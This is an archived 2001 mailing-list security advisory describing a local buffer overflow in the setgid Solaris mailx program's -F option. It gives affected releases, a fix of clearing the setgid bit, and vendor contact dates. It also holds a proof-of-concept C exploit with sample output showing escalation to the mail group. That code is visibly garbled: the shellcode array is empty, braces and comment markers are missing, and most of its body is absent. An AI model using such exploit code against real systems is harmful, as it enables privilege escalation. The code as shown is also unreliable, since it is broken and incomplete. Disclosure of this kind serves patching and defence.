Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
From: Pablo Sor (psorAFIP.GOV.AR)
Date: Wed May 02 2001 - 11:30:45 CDT

  • Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]

    Vulnerability in Solaris mailx(1)

    Date Published: April 11, 2001

    Advisory ID: N/A

    Bugtraq ID: N/A

    CVE CAN: Non currently assigned.

    Title: Solaris mailx(1) Buffer Overflow Vulnerability

    Class: Boundary Error Condition

    Remotely Exploitable: No

    Locally Exploitable: Yes

    Vulnerability Description:

    The mailx program is installed setgid mail by default in Solaris,
    a buffer overrun exists in the -F option, by specifying a long buffer
    containing machine executable code, it is possible to execute
    arbitrary command as gid mail.

    Vulnerable Packages/Systems:

    Solaris 8 SPARC
    Solaris 8 x86
    Solaris 7 SPARC
    Solaris 7 x86
    Solaris 2.6 SPARC
    Solaris 2.6 x86
    Solaris 2.5.1 SPARC
    Solaris 2.5.1 x86
    Solaris 2.5 SPARC
    Solaris 2.5 x86

    Quick Fix:

    Clear the sgid bit of /usr/bin/mailx program.

    Solution/Vendor :

    Sun Microsystems was notified on April 18, 2001. Patches are excepted shortly.

    Vendor notified on: April 18, 2001


    This vulnerability was discovered by Pablo Sor, Buenos Aires, Argentina.

    This advisory was drafted with the help of the SecurityFocus.com Vulnerability
    Help Team. For more information or assistance drafting advisories please mail

    Technical Description - Exploit/Concept Code:

    #include <fcntl.h>


       /usr/bin/mailx overflow proof of conecpt.

       Pablo Sor, Buenos Aires, Argentina 04/2001
       psorafip.gov.ar, psorccc.uba.ar

       works against x86 solaris 8

       default offset should work.


       bash$ id
       uid=100(laika) gid=1(other)

       bash$ ./mailx-exp
       Subject: tomy


       $ id
       uid=100(laika) gid=1(other) egid=6(mail)


    long get_esp() { __asm__("movl %esp,%eax"); }

    int main(int ac, char **av)

    char shell[]=

     unsigned long magic = get_esp() + 2075; /* default offset */
     unsigned char buf[1150];
     char *envi;

     envi = (char *)malloc(300*sizeof(char));


    Pablo Sor
    psorafip.gov.ar, psorccc.uba.ar